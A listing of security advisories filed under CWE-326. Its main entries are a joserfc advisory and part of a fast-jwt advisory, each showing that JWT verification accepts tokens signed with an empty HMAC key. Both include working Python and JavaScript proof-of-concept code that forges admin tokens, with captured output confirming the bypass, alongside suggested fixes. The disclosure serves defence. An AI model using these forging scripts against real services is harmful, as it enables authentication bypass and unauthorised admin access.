CWE-326
Allowed-with-ReviewInadequate Encryption Strength
Abstraction: Class · Status: Draft
The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
631 vulnerabilities reference this CWE, most recent first.
GHSA-GG9X-QCX2-XMRH
Vulnerability from github – Published: 2026-07-02 19:12 – Updated: 2026-07-02 19:12Summary
joserfc.jwt.decode accepts attacker-forged HMAC-signed tokens when the
caller-supplied verification key is the empty string or None.
HMACAlgorithm.sign and HMACAlgorithm.verify in
src/joserfc/_rfc7518/jws_algs.py:62-70 feed whatever
OctKey.get_op_key(...) produced into hmac.new(...), and OctKey.import_key
only emits a SecurityWarning when the raw key is shorter than 14 bytes
without rejecting zero-length input. Any application whose JWT secret is
sourced from an unset environment variable, an unset Redis / DB row, a key
finder fallback that returns "", or a Hash.new("")-style default verifies
attacker tokens forged with HMAC(key=b"", signing_input) because the
attacker trivially reproduces the same digest with no secret knowledge.
This is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /
CVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,
filed 2026-05-13). ruby-jwt v3.2.0 added an ensure_valid_key! precondition
that rejects empty keys at both sign and verify entry; joserfc has no
equivalent. (The same primitive lives in the deprecated authlib.jose
module by the same maintainer; filing this advisory against joserfc
alongside a separate authlib advisory because the codebases are
independent shipping artifacts on PyPI.)
Affected versions
joserfc (PyPI) <= 1.6.7 (latest published release reproduces). No
patched release.
Privilege required
Unauthenticated. Any HTTP / RPC endpoint that calls joserfc.jwt.decode
with a verification key sourced from configuration is reachable. The
condition that makes the bug observable is operator-side: the configured
secret resolves to "" or None. Common patterns that produce this state
in production:
OctKey.import_key(os.environ.get("JWT_SECRET", ""))- A key finder callable that returns
""/Nonefor an unknownkid - Default values like
os.getenv("SECRET") or "",cfg.get("secret", "") - Database / Redis row lookup that returns
""for a missing row
Vulnerable code
src/joserfc/_rfc7518/jws_algs.py:43-70:
class HMACAlgorithm(JWSAlgModel):
SHA256 = hashlib.sha256
SHA384 = hashlib.sha384
SHA512 = hashlib.sha512
def __init__(self, sha_type, recommended=False):
self.name = f"HS{sha_type}"
self.description = f"HMAC using SHA-{sha_type}"
self.recommended = recommended
self.hash_alg = getattr(self, f"SHA{sha_type}")
self.algorithm_security = sha_type
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)
src/joserfc/_rfc7518/oct_key.py:52-63:
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if len(key.raw_value) < 14:
# https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
The < 14 check only warns; len(key.raw_value) == 0 falls through and is
returned to the caller. HMACAlgorithm.verify then calls
hmac.compare_digest(sig, hmac.new(b"", signing_input, sha256).digest()),
and Python's hmac.new(b"", ...) accepts the empty key.
Cross-language sibling of ruby-jwt's fix in lib/jwt/jwa/hmac.rb:
def ensure_valid_key!(key)
raise_verify_error!('HMAC key expected to be a String') unless key.is_a?(String)
raise_verify_error!('HMAC key cannot be empty') if key.empty?
end
invoked from both sign(signing_key:) and verify(verification_key:).
PyJWT landed an equivalent guard in 2.13.0 (HMACAlgorithm.prepare_key
raises InvalidKeyError("HMAC key must not be empty.") for len(key_bytes) == 0).
firebase/php-jwt rejects empty material in Key.__construct. jjwt enforces a
256-bit minimum in DefaultMacAlgorithm.validateKey. joserfc has the
strongest existing length-warning logic but stops at < 14 bytes warn
rather than == 0 reject.
How an empty JWT_SECRET reaches hmac.new
- The application calls
joserfc.jwt.decode(value, key, algorithms=["HS256"])wherekey = OctKey.import_key("")(orOctKey.import_key(b""), or any custom path that yields anOctKeywhoseraw_valueisb""). decode(src/joserfc/jwt.py:86-117) calls_decode_jws(...)→deserialize_compact(value, key, algorithms, registry).deserialize_compact(src/joserfc/jws.py) dispatches toHMACAlgorithm.verify(signing_input, signature, key).verifycallskey.get_op_key("verify")→ returnsb"".hmac.new(b"", signing_input, sha256).digest()is computed; the attacker computed exactly that digest with the same empty key, sohmac.compare_digestreturnsTrueand decode succeeds.
No upstream nil-check, no length check, no schema rejection. The path is
reached from the public joserfc.jwt.decode API.
Proof of concept
Attacker (no secret knowledge):
import base64, hmac, hashlib, json, time
def b64url(b): return base64.urlsafe_b64encode(b).rstrip(b"=")
header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode())
now = int(time.time())
payload = b64url(json.dumps({
"sub": "attacker", "admin": True,
"iat": now, "exp": now + 600,
}).encode())
signing_input = header + b"." + payload
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
forged = signing_input + b"." + b64url(sig)
print(forged.decode())
Server harness:
# server.py
from joserfc import jwt
from joserfc.jwk import OctKey
import os
from wsgiref.simple_server import make_server
def app(environ, start_response):
auth = environ.get("HTTP_AUTHORIZATION", "")
token = auth[len("Bearer "):].strip() if auth.startswith("Bearer ") else ""
key = OctKey.import_key(os.environ.get("JWT_SECRET", "")) # default = ""
try:
tok = jwt.decode(token, key, algorithms=["HS256"])
c = tok.claims
body = ("OK: sub=%r admin=%r\n" % (c.get("sub"), c.get("admin"))).encode()
start_response("200 OK", [("Content-Type", "text/plain")])
return [body]
except Exception as e:
start_response("401 Unauthorized", [("Content-Type", "text/plain")])
return [("DENY: %s\n" % e).encode()]
make_server("127.0.0.1", 8383, app).serve_forever()
End-to-end reproduction (against pip install joserfc==1.6.7)
# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret
# state.
python3.12 -m venv venv
./venv/bin/pip install joserfc==1.6.7
./venv/bin/python server.py & # listens on :8383
# 2. Run the attacker
./venv/bin/python attacker.py
Captured run output (canonical pre-fix run, joserfc 1.6.7,
poc-attacker-empty-20260523-150949.log):
forged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY
HTTP 200
OK: sub='attacker' admin=True
Control (real 256-bit secret, poc-control-realkey-20260523-150959.log):
forged token: eyJhbGciOiAiSFMyNTYi...
HTTP 401
DENY: BadSignatureError: bad_signature:
Interpretation:
| Configuration | Observed | Expected |
|---|---|---|
JWT_SECRET unset (== "") |
HTTP 200, admin=True (verified) |
HTTP 401 |
JWT_SECRET = 256-bit value |
HTTP 401, BadSignatureError |
HTTP 401 |
The first row demonstrates that an attacker with zero knowledge of the verification secret reaches the protected path by signing with the empty key. The second row confirms the verifier behaves correctly when the secret is non-empty, proving the bug is gated only on the secret being empty rather than on any structural defect in the attacker's token.
Fix verification: with the suggested empty-key reject wired into
HMACAlgorithm.sign / .verify, the empty-secret server re-run rejects
the same forged token with ValueError: HMAC key must not be empty.
Impact
- Complete authentication bypass on any service whose key finder resolves
to
""/None(env var unset, DB row missing, fallback). Attacker forges arbitrary claims (sub,admin, scopes, audience, expiry). - The misconfiguration that triggers the bug is silent: the server does
not fail to boot, joserfc emits a single
SecurityWarning("Key size should be >= 112 bits") atOctKey.import_keytime and then proceeds. - Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high). CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N — AC:H because of the operator-misconfiguration precondition; impact otherwise matches authentication bypass.
Suggested fix
Upgrade the existing < 14 bytes warning in OctKey.import_key to a hard
reject at len(key.raw_value) == 0, plus a defence-in-depth check in
HMACAlgorithm.sign and HMACAlgorithm.verify after
key.get_op_key(...):
# src/joserfc/_rfc7518/oct_key.py
@classmethod
def import_key(cls, value, parameters=None, password=None) -> "OctKey":
key: OctKey = super(OctKey, cls).import_key(value, parameters, password)
if not key.raw_value:
raise ValueError("oct key material must not be empty")
if len(key.raw_value) < 14:
warnings.warn("Key size should be >= 112 bits", SecurityWarning)
return key
# src/joserfc/_rfc7518/jws_algs.py
class HMACAlgorithm(JWSAlgModel):
...
def sign(self, msg: bytes, key: OctKey) -> bytes:
op_key = key.get_op_key("sign")
if not op_key:
raise ValueError("HMAC key must not be empty")
return hmac.new(op_key, msg, self.hash_alg).digest()
def verify(self, msg: bytes, sig: bytes, key: OctKey) -> bool:
op_key = key.get_op_key("verify")
if not op_key:
raise ValueError("HMAC key must not be empty")
v_sig = hmac.new(op_key, msg, self.hash_alg).digest()
return hmac.compare_digest(sig, v_sig)
The two-layer fix mirrors PyJWT 2.13.0's approach (reject empty in
prepare_key, plus the runtime length checks the underlying hmac
primitive does not perform).
Fix PR
authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1 (temp private fork PR), branch
fix/hmac-reject-empty-key, base main. URL:
https://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.7"
},
"package": {
"ecosystem": "PyPI",
"name": "joserfc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49852"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-326",
"CWE-1391"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T19:12:08Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`joserfc.jwt.decode` accepts attacker-forged HMAC-signed tokens when the\ncaller-supplied verification key is the empty string or `None`.\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` in\n[`src/joserfc/_rfc7518/jws_algs.py:62-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70) feed whatever\n`OctKey.get_op_key(...)` produced into `hmac.new(...)`, and `OctKey.import_key`\nonly emits a `SecurityWarning` when the raw key is shorter than 14 bytes\nwithout rejecting zero-length input. Any application whose JWT secret is\nsourced from an unset environment variable, an unset Redis / DB row, a key\nfinder fallback that returns `\"\"`, or a `Hash.new(\"\")`-style default verifies\nattacker tokens forged with `HMAC(key=b\"\", signing_input)` because the\nattacker trivially reproduces the same digest with no secret knowledge.\n\nThis is a cross-language sibling of jwt/ruby-jwt GHSA-c32j-vqhx-rx3x /\nCVE-2026-45363 (HS256/HS384/HS512 verify accepted an empty/nil HMAC key,\nfiled 2026-05-13). ruby-jwt v3.2.0 added an `ensure_valid_key!` precondition\nthat rejects empty keys at both sign and verify entry; joserfc has no\nequivalent. (The same primitive lives in the deprecated `authlib.jose`\nmodule by the same maintainer; filing this advisory against joserfc\nalongside a separate `authlib` advisory because the codebases are\nindependent shipping artifacts on PyPI.)\n\n### Affected versions\n\n`joserfc` (PyPI) `\u003c= 1.6.7` (latest published release reproduces). No\npatched release.\n\n### Privilege required\n\nUnauthenticated. Any HTTP / RPC endpoint that calls `joserfc.jwt.decode`\nwith a verification key sourced from configuration is reachable. The\ncondition that makes the bug observable is operator-side: the configured\nsecret resolves to `\"\"` or `None`. Common patterns that produce this state\nin production:\n\n- `OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\"))`\n- A key finder callable that returns `\"\"` / `None` for an unknown `kid`\n- Default values like `os.getenv(\"SECRET\") or \"\"`, `cfg.get(\"secret\", \"\")`\n- Database / Redis row lookup that returns `\"\"` for a missing row\n\n### Vulnerable code\n\n[`src/joserfc/_rfc7518/jws_algs.py:43-70`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L43-L70):\n\n```python\nclass HMACAlgorithm(JWSAlgModel):\n SHA256 = hashlib.sha256\n SHA384 = hashlib.sha384\n SHA512 = hashlib.sha512\n\n def __init__(self, sha_type, recommended=False):\n self.name = f\"HS{sha_type}\"\n self.description = f\"HMAC using SHA-{sha_type}\"\n self.recommended = recommended\n self.hash_alg = getattr(self, f\"SHA{sha_type}\")\n self.algorithm_security = sha_type\n\n def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n op_key = key.get_op_key(\"sign\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n op_key = key.get_op_key(\"verify\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\n[`src/joserfc/_rfc7518/oct_key.py:52-63`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/oct_key.py#L52-L63):\n\n```python\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if len(key.raw_value) \u003c 14:\n # https://csrc.nist.gov/publications/detail/sp/800-131a/rev-2/final\n warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n return key\n```\n\nThe `\u003c 14` check only warns; `len(key.raw_value) == 0` falls through and is\nreturned to the caller. `HMACAlgorithm.verify` then calls\n`hmac.compare_digest(sig, hmac.new(b\"\", signing_input, sha256).digest())`,\nand Python\u0027s `hmac.new(b\"\", ...)` accepts the empty key.\n\nCross-language sibling of ruby-jwt\u0027s fix in [`lib/jwt/jwa/hmac.rb`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/lib/jwt/jwa/hmac.rb):\n\n```ruby\ndef ensure_valid_key!(key)\n raise_verify_error!(\u0027HMAC key expected to be a String\u0027) unless key.is_a?(String)\n raise_verify_error!(\u0027HMAC key cannot be empty\u0027) if key.empty?\nend\n```\n\ninvoked from both `sign(signing_key:)` and `verify(verification_key:)`.\nPyJWT landed an equivalent guard in 2.13.0 (`HMACAlgorithm.prepare_key`\nraises `InvalidKeyError(\"HMAC key must not be empty.\")` for `len(key_bytes) == 0`).\nfirebase/php-jwt rejects empty material in `Key.__construct`. jjwt enforces a\n256-bit minimum in `DefaultMacAlgorithm.validateKey`. joserfc has the\nstrongest existing length-warning logic but stops at `\u003c 14 bytes` warn\nrather than `== 0` reject.\n\n### How an empty `JWT_SECRET` reaches `hmac.new`\n\n1. The application calls `joserfc.jwt.decode(value, key, algorithms=[\"HS256\"])`\n where `key = OctKey.import_key(\"\")` (or `OctKey.import_key(b\"\")`,\n or any custom path that yields an `OctKey` whose `raw_value` is `b\"\"`).\n2. `decode` ([`src/joserfc/jwt.py:86-117`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jwt.py#L86-L117)) calls `_decode_jws(...)` \u2192\n `deserialize_compact(value, key, algorithms, registry)`.\n3. `deserialize_compact` ([`src/joserfc/jws.py`](https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/jws.py)) dispatches to\n `HMACAlgorithm.verify(signing_input, signature, key)`.\n4. `verify` calls `key.get_op_key(\"verify\")` \u2192 returns `b\"\"`.\n5. `hmac.new(b\"\", signing_input, sha256).digest()` is computed; the\n attacker computed exactly that digest with the same empty key, so\n `hmac.compare_digest` returns `True` and decode succeeds.\n\nNo upstream `nil`-check, no length check, no schema rejection. The path is\nreached from the public `joserfc.jwt.decode` API.\n\n### Proof of concept\n\nAttacker (no secret knowledge):\n\n```python\nimport base64, hmac, hashlib, json, time\ndef b64url(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\")\nheader = b64url(json.dumps({\"alg\": \"HS256\", \"typ\": \"JWT\"}).encode())\nnow = int(time.time())\npayload = b64url(json.dumps({\n \"sub\": \"attacker\", \"admin\": True,\n \"iat\": now, \"exp\": now + 600,\n}).encode())\nsigning_input = header + b\".\" + payload\nsig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\nforged = signing_input + b\".\" + b64url(sig)\nprint(forged.decode())\n```\n\nServer harness:\n\n```python\n# server.py\nfrom joserfc import jwt\nfrom joserfc.jwk import OctKey\nimport os\nfrom wsgiref.simple_server import make_server\n\ndef app(environ, start_response):\n auth = environ.get(\"HTTP_AUTHORIZATION\", \"\")\n token = auth[len(\"Bearer \"):].strip() if auth.startswith(\"Bearer \") else \"\"\n key = OctKey.import_key(os.environ.get(\"JWT_SECRET\", \"\")) # default = \"\"\n try:\n tok = jwt.decode(token, key, algorithms=[\"HS256\"])\n c = tok.claims\n body = (\"OK: sub=%r admin=%r\\n\" % (c.get(\"sub\"), c.get(\"admin\"))).encode()\n start_response(\"200 OK\", [(\"Content-Type\", \"text/plain\")])\n return [body]\n except Exception as e:\n start_response(\"401 Unauthorized\", [(\"Content-Type\", \"text/plain\")])\n return [(\"DENY: %s\\n\" % e).encode()]\n\nmake_server(\"127.0.0.1\", 8383, app).serve_forever()\n```\n\n### End-to-end reproduction (against `pip install joserfc==1.6.7`)\n\n```bash\n# 1. Boot the WSGI server. JWT_SECRET unset to model the misconfigured-secret\n# state.\npython3.12 -m venv venv\n./venv/bin/pip install joserfc==1.6.7\n./venv/bin/python server.py \u0026 # listens on :8383\n\n# 2. Run the attacker\n./venv/bin/python attacker.py\n```\n\nCaptured run output (canonical pre-fix run, joserfc 1.6.7,\n`poc-attacker-empty-20260523-150949.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJzdWIiOiAiYXR0YWNrZXIiLCAiYWRtaW4iOiB0cnVlLCAiaWF0IjogMTc3OTUyMDU4OSwgImV4cCI6IDE3Nzk1MjExODl9.yE8nFmSVmQJ2Slft-BlxD04ypabkV128XbPcU6SRnBY\nHTTP 200\nOK: sub=\u0027attacker\u0027 admin=True\n```\n\nControl (real 256-bit secret, `poc-control-realkey-20260523-150959.log`):\n\n```\nforged token: eyJhbGciOiAiSFMyNTYi...\nHTTP 401\nDENY: BadSignatureError: bad_signature:\n```\n\nInterpretation:\n\n| Configuration | Observed | Expected |\n|------------------------------|-------------------------------------|----------|\n| `JWT_SECRET` unset (== \"\") | HTTP 200, `admin=True` (verified) | HTTP 401 |\n| `JWT_SECRET` = 256-bit value | HTTP 401, `BadSignatureError` | HTTP 401 |\n\nThe first row demonstrates that an attacker with zero knowledge of the\nverification secret reaches the protected path by signing with the empty\nkey. The second row confirms the verifier behaves correctly when the\nsecret is non-empty, proving the bug is gated only on the secret being\nempty rather than on any structural defect in the attacker\u0027s token.\n\nFix verification: with the suggested empty-key reject wired into\n`HMACAlgorithm.sign` / `.verify`, the empty-secret server re-run rejects\nthe same forged token with `ValueError: HMAC key must not be empty`.\n\n### Impact\n\n- Complete authentication bypass on any service whose key finder resolves\n to `\"\"` / `None` (env var unset, DB row missing, fallback). Attacker\n forges arbitrary claims (`sub`, `admin`, scopes, audience, expiry).\n- The misconfiguration that triggers the bug is silent: the server does\n not fail to boot, joserfc emits a single `SecurityWarning` (\"Key size\n should be \u003e= 112 bits\") at `OctKey.import_key` time and then proceeds.\n- Severity matches the parent (ruby-jwt CVE-2026-45363, CVSS 7.4 high).\n CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N \u2014 AC:H because of the\n operator-misconfiguration precondition; impact otherwise matches\n authentication bypass.\n\n### Suggested fix\n\nUpgrade the existing `\u003c 14 bytes` warning in `OctKey.import_key` to a hard\nreject at `len(key.raw_value) == 0`, plus a defence-in-depth check in\n`HMACAlgorithm.sign` and `HMACAlgorithm.verify` after\n`key.get_op_key(...)`:\n\n```python\n# src/joserfc/_rfc7518/oct_key.py\n@classmethod\ndef import_key(cls, value, parameters=None, password=None) -\u003e \"OctKey\":\n key: OctKey = super(OctKey, cls).import_key(value, parameters, password)\n if not key.raw_value:\n raise ValueError(\"oct key material must not be empty\")\n if len(key.raw_value) \u003c 14:\n warnings.warn(\"Key size should be \u003e= 112 bits\", SecurityWarning)\n return key\n\n# src/joserfc/_rfc7518/jws_algs.py\nclass HMACAlgorithm(JWSAlgModel):\n ...\n def sign(self, msg: bytes, key: OctKey) -\u003e bytes:\n op_key = key.get_op_key(\"sign\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n return hmac.new(op_key, msg, self.hash_alg).digest()\n\n def verify(self, msg: bytes, sig: bytes, key: OctKey) -\u003e bool:\n op_key = key.get_op_key(\"verify\")\n if not op_key:\n raise ValueError(\"HMAC key must not be empty\")\n v_sig = hmac.new(op_key, msg, self.hash_alg).digest()\n return hmac.compare_digest(sig, v_sig)\n```\n\nThe two-layer fix mirrors PyJWT 2.13.0\u0027s approach (reject empty in\n`prepare_key`, plus the runtime length checks the underlying hmac\nprimitive does not perform).\n\n### Fix PR\n\n`authlib/joserfc-ghsa-gg9x-qcx2-xmrh#1` (temp private fork PR), branch\n`fix/hmac-reject-empty-key`, base `main`. URL:\nhttps://github.com/authlib/joserfc-ghsa-gg9x-qcx2-xmrh/pull/1\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-gg9x-qcx2-xmrh",
"modified": "2026-07-02T19:12:08Z",
"published": "2026-07-02T19:12:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/security/advisories/GHSA-gg9x-qcx2-xmrh"
},
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/commit/86d00910b2b2d2d07503fee9b572906daefab7f1"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/joserfc"
},
{
"type": "WEB",
"url": "https://github.com/authlib/joserfc/blob/1ddca8f3c73ff47e3bc3ac06cb0c08a9535677ec/src/joserfc/_rfc7518/jws_algs.py#L62-L70"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "joserfc: HS256/HS384/HS512 verify accepts empty/nil HMAC key (cross-language sibling of CVE-2026-45363)"
}
GHSA-GGHC-6WPQ-RR46
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-07-13 00:01The effective key space used to encrypt the cache in CyberArk Credential Provider prior to 12.1 has low entropy, and under certain conditions a local malicious user can obtain the plaintext of cache files.
{
"affected": [],
"aliases": [
"CVE-2021-31798"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-02T01:15:00Z",
"severity": "MODERATE"
},
"details": "The effective key space used to encrypt the cache in CyberArk Credential Provider prior to 12.1 has low entropy, and under certain conditions a local malicious user can obtain the plaintext of cache files.",
"id": "GHSA-gghc-6wpq-rr46",
"modified": "2022-07-13T00:01:25Z",
"published": "2022-05-24T19:12:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31798"
},
{
"type": "WEB",
"url": "https://korelogic.com/Resources/Advisories/KL-001-2021-010.txt"
},
{
"type": "WEB",
"url": "https://www.cyberark.com/resources/blog"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/164035/CyberArk-Credential-Provider-Local-Cache-Decryption.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/Sep/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GMR9-5MCV-CCR9
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2023-08-08 15:31In JetBrains WebStorm before 2021.1, HTTP requests were used instead of HTTPS.
{
"affected": [],
"aliases": [
"CVE-2021-31898"
],
"database_specific": {
"cwe_ids": [
"CWE-326"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-11T13:15:00Z",
"severity": "HIGH"
},
"details": "In JetBrains WebStorm before 2021.1, HTTP requests were used instead of HTTPS.",
"id": "GHSA-gmr9-5mcv-ccr9",
"modified": "2023-08-08T15:31:17Z",
"published": "2022-05-24T19:02:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31898"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com"
},
{
"type": "WEB",
"url": "https://blog.jetbrains.com/blog/2021/05/07/jetbrains-security-bulletin-q1-2021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GMVF-9V4P-V8JC
Vulnerability from github – Published: 2026-05-06 22:26 – Updated: 2026-05-14 20:42Summary
A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release fast-jwt@6.2.3.
Preconditions
For this issue to occur the following MUST ALL be true:
- The application developer (library consumer) uses an asynchronous callback function to set the key (e.g.
createVerifier({key: async (decoded) => ... })) - The response from the async callback MUST return an empty string
''OR zero-length buffer (e.g.Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue - The library configuration must allow HMAC signatures. This is the default for the library.
- The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
- All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.
Details
src/verifier.js prepareKeyOrSecret (lines 33-39):
function prepareKeyOrSecret(key, isSecret) {
if (typeof key === 'string') {
key = Buffer.from(key, 'utf-8')
}
return isSecret ? createSecretKey(key) : createPublicKey(key) // ← no length check
}
src/verifier.js async key-resolver flow (lines 429-468):
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' → Buffer.alloc(0)
} else if (!(currentKey instanceof Buffer)) {
return callback(... 'string or buffer'...)
}
try {
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`
// branch → returns hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // default empty → HMAC family assigned
}
currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
// → createSecretKey(Buffer.alloc(0)) — Node accepts the empty secret silently
verifyToken(currentKey, decoded, validationContext)
}
})
src/crypto.js verifySignature (lines 286-291):
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.
The bug exists only on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.
PoC
// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'
function b64url(buf) {
return Buffer.from(buf).toString('base64')
.replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}
// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
sub: 'attacker', admin: true,
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`
// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})
console.log(await verifier(forgedToken))
Output on fast-jwt@6.2.3:
{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }
— the attacker-chosen payload is returned as authentic.
Attack matrix verified against fast-jwt@6.2.3:
| Resolver shape | algorithms option |
HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' |
(default) | ✅ accept | ✅ accept | ✅ accept |
(d, cb) => cb(null, '') |
(default) | ✅ accept | ✅ accept | ✅ accept |
async d => keys[d.header.kid] \|\| '' |
(default) | ✅ accept | ✅ accept | ✅ accept |
async () => '' |
['HS256','HS384','HS512'] |
✅ accept | ✅ accept | ✅ accept |
async () => '' |
['HS256','RS256'] |
✅ accept | INVALID_ALG | INVALID_ALG |
async () => '' |
['RS256'] |
INVALID_KEY | INVALID_KEY | INVALID_KEY |
The bug is only not triggered when the caller has explicitly restricted algorithms to a family incompatible with the empty key's detected hsAlgorithms.
Sense checks (also verified against fast-jwt@6.2.3 to rule out my harness):
